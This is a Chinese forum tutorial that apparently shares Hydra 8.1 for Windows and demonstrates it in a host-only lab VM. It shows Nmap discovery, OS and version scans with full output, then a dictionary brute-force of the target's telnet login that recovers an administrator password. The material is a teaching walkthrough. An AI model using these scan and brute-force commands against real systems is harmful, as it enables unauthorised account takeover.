Windows上养只九头蛇——Hydra 8.1

轻舟在过   ·   发表于 2021-12-23 12:03:56   ·   安全工具

简述

hydra自不必多说,爆破神奇九头蛇,而很多好兄弟不知道怎么在windows上使用hydra,这边我提供一个完美适配windows系统的版本最稳定的hydra——hydra 8.1

使用概述

  1. 回复本贴
  2. 下载hydra,并解压
  3. 在hydra.exe所在目录下进入命令行
  4. 开始使用

使用示例

制作靶机

  1. 打开一台win2003,仅主机模式接到虚拟网卡VMnet1

    仅主机模式不能上因特网,是一个封闭的内网环境,且可以随便配IP,只要在同一网段,两台主机就可以通信

  2. 打开services.msc,打开服务Telnet——TCP:23

  3. 桌面=>右键我的电脑=>属性=>远程=>启用远程桌面——TCP:3389

  4. 我的电脑=>光驱=>安装可选的Windows组件=>应用程序服务器=>IIS=>FTP——TCP:21

  5. 打开IIS,配置默认的FTP站点。右击属性=>安全账户=>取消匿名访问

  6. 新建一个用户,我们将用它做为目标用户

    1. net user test testtest /add

信息收集与Nmap

  • 主机探测:是指确定目标主机是否存活
  • 端口扫描:寻找在线主机所开放的端口,并且在端口上所运行的服务。甚至可以进一步确定目标主机操作系统类型和更详细的信息

下面我们介绍一个号称“扫描之王”的软件——Nmap,下面是重要常用参数:

参数 功能
-sP ping扫描
-p 指定端口范围
-sV 服务版本探测
-O 启用操作系统探测
-A 全面扫描
-oN 保存txt
  • 描扫192.168.241.0/24网段在线主机

    1. C:\Users\Administrator>nmap -sP 192.168.241.0/24
    2. Starting Nmap 7.40 ( https://nmap.org ) at 2021-11-08 11:06 ?D1ú±ê×?ê±??
    3. Stats: 0:00:22 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
    4. Parallel DNS resolution of 255 hosts. Timing: About 0.00% done
    5. Nmap scan report for 192.168.241.128
    6. Host is up (0.00s latency).
    7. MAC Address: 00:0C:29:E9:24:06 (VMware)
    8. Nmap scan report for 192.168.241.254
    9. Host is up (0.00s latency).
    10. MAC Address: 00:50:56:E0:96:74 (VMware)
    11. Nmap scan report for 192.168.241.1
    12. Host is up.
    13. Nmap done: 256 IP addresses (3 hosts up) scanned in 22.80 seconds
  • 探测192.168.241.128的操作系统等信息

    1. C:\Users\Administrator>nmap -O 192.168.241.128
    2. Starting Nmap 7.40 ( https://nmap.org ) at 2021-11-08 11:09 ?D1ú±ê×?ê±??
    3. Stats: 0:00:18 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
    4. Parallel DNS resolution of 1 host. Timing: About 0.00% done
    5. Nmap scan report for 192.168.241.128
    6. Host is up (0.00055s latency).
    7. Not shown: 992 closed ports
    8. PORT STATE SERVICE
    9. 21/tcp open ftp
    10. 23/tcp open telnet
    11. 135/tcp open msrpc
    12. 139/tcp open netbios-ssn
    13. 445/tcp open microsoft-ds
    14. 1025/tcp open NFS-or-IIS
    15. 1048/tcp open neod2
    16. 3389/tcp open ms-wbt-server
    17. MAC Address: 00:0C:29:E9:24:06 (VMware)
    18. Device type: general purpose
    19. Running: Microsoft Windows 2003
    20. OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
    21. OS details: Microsoft Windows Server 2003 SP1 or SP2
    22. Network Distance: 1 hop
    23. OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    24. Nmap done: 1 IP address (1 host up) scanned in 20.75 seconds
  • 探测192.168.241.128的操作系统等信息并保存当D:\baogao.txt

    1. C:\Users\Administrator>nmap -O 192.168.241.128 -oN d:\baogao.txt
  • 探测192.168.241.128指定端口

    1. C:\Users\Administrator>nmap -p 21,23,80 192.168.241.128
    2. Starting Nmap 7.40 ( https://nmap.org ) at 2021-11-08 11:12 ?D1ú±ê×?ê±??
    3. Nmap scan report for 192.168.241.128
    4. Host is up (0.00s latency).
    5. PORT STATE SERVICE
    6. 21/tcp open ftp
    7. 23/tcp open telnet
    8. 80/tcp closed http
    9. MAC Address: 00:0C:29:E9:24:06 (VMware)
    10. Nmap done: 1 IP address (1 host up) scanned in 18.14 seconds
  • 探测192.168.241.128指定端口,同时探测哪个服务版本

    1. C:\Users\Administrator>nmap -p 21,23 192.168.241.128 -sV
    2. Starting Nmap 7.40 ( https://nmap.org ) at 2021-11-08 11:15 ?D1ú±ê×?ê±??
    3. Nmap scan report for 192.168.241.128
    4. Host is up (0.00s latency).
    5. PORT STATE SERVICE VERSION
    6. 21/tcp open ftp Microsoft ftpd
    7. 23/tcp open telnet Microsoft Windows XP telnetd
    8. MAC Address: 00:0C:29:E9:24:06 (VMware)
    9. Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
    10. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    11. Nmap done: 1 IP address (1 host up) scanned in 51.06 seconds

爆破与hydra

信息扫描完成后,我们便可以开始爆破。

这里我们用到的是hydra九头蛇———8.1版本(比较适合在windows下运行)

参数 功能
-R 继续从上一次进度接着破解
-S 采用SSL链接
-s 指定非默认端口
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-p 指定密码破解
-P 指定密码字典
-e n:空密码试探,s:使用指定用户和密码试探
-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
M 指定目标列表文件一行一条
-o 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t 同时运行的线程数,默认为16
-w 设置最大超时的时间,单位秒,默认是30s
-v /-V 显示详细过程

爆破协议可以为telnet、rdp、smb(即CIFS445端口共享)、ftp、ssh、mysql。

建议配置环境变量,可以直接调用hydra

  1. 在真机里,D盘下创建一个txt,这就是我们的密码字典——pass.txt,内容键入n行密码

  2. 然后打开控制台,键入:

    1. hydra -l administrator -P d:\pass.txt 192.168.241.128 telnet

    意为 以用户为administrator和pass.txt字典结合对该IP的telnet服务进行暴力破解

  3. 破解成功

    1. C:\>hydra -l administrator -P d:\pass.txt 192.168.241.128 telnet
    2. Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
    3. Hydra (http://www.thc.org/thc-hydra) starting at 2021-11-08 21:05:03
    4. [WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
    5. [DATA] max 16 tasks per 1 server, overall 64 tasks, 48 login tries (l:1/p:48), ~0 tries per task
    6. [DATA] attacking service telnet on port 23
    7. [23][telnet] host: 192.168.241.128 login: administrator password: 123456
    8. 1 of 1 target successfully completed, 1 valid password found
    9. Hydra (http://www.thc.org/thc-hydra) finished at 2021-11-08 21:05:28

    得到密码:login: administrator password: 123456

好兄弟,有帮助记得点赞打赏,有来有往,回复可见附件

用户名金币积分时间理由
Track-劲夫 25.00 0 2021-12-27 16:04:10 活动奖励
Track-劲夫 50.00 0 2021-12-27 16:04:01 一个受益终生的帖子~~

打赏我,让我更有动力~

34 条回复   |  直到 1个月前 | 2951 次浏览

liyudgfas
发表于 2021-12-28

学习一下~!

评论列表

  • 加载数据中...

编写评论内容

310011903
发表于 2021-12-29

来拿工具啦,顺便学习一下

评论列表

  • 加载数据中...

编写评论内容

tnt3t34
发表于 2021-12-29

最羡慕文档写得这么漂亮的,思路很清晰

评论列表

  • 加载数据中...

编写评论内容

poker灬
发表于 2021-12-31

先试试水

评论列表

  • 加载数据中...

编写评论内容

落叶一瓢水
发表于 2022-1-9

666

评论列表

  • 加载数据中...

编写评论内容

4159357
发表于 2022-1-10

6

评论列表

  • 加载数据中...

编写评论内容

般若
发表于 2022-1-20

6

评论列表

  • 加载数据中...

编写评论内容

心悦君兮君不知
发表于 2022-3-4

233

评论列表

  • 加载数据中...

编写评论内容

wang
发表于 2022-3-27

666

评论列表

  • 加载数据中...

编写评论内容

s3270589
发表于 2022-4-1

66

评论列表

  • 加载数据中...

编写评论内容

1234asdasd
发表于 2022-4-7

下载hydra

评论列表

  • 加载数据中...

编写评论内容

许飞哥哥
发表于 2022-4-9

11111111111

评论列表

  • 加载数据中...

编写评论内容

enjoy420
发表于 2022-4-17

可以带我上道吗?boss.???

评论列表

  • 加载数据中...

编写评论内容

chinopapa
发表于 2022-4-25

11

评论列表

  • 加载数据中...

编写评论内容

18325507130
发表于 2022-5-11

11

评论列表

  • 加载数据中...

编写评论内容

fortomorrow
发表于 2022-6-21

666666666666666666666666666

评论列表

  • 加载数据中...

编写评论内容

douma
发表于 2022-8-18

666

评论列表

  • 加载数据中...

编写评论内容

linzongjian
发表于 2022-11-26

学习一下~!

评论列表

  • 加载数据中...

编写评论内容

jines
发表于 2022-12-1

666

评论列表

  • 加载数据中...

编写评论内容

蕤釁
发表于 11个月前

6

评论列表

  • 加载数据中...

编写评论内容
1 2 / 2 跳转 尾页
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.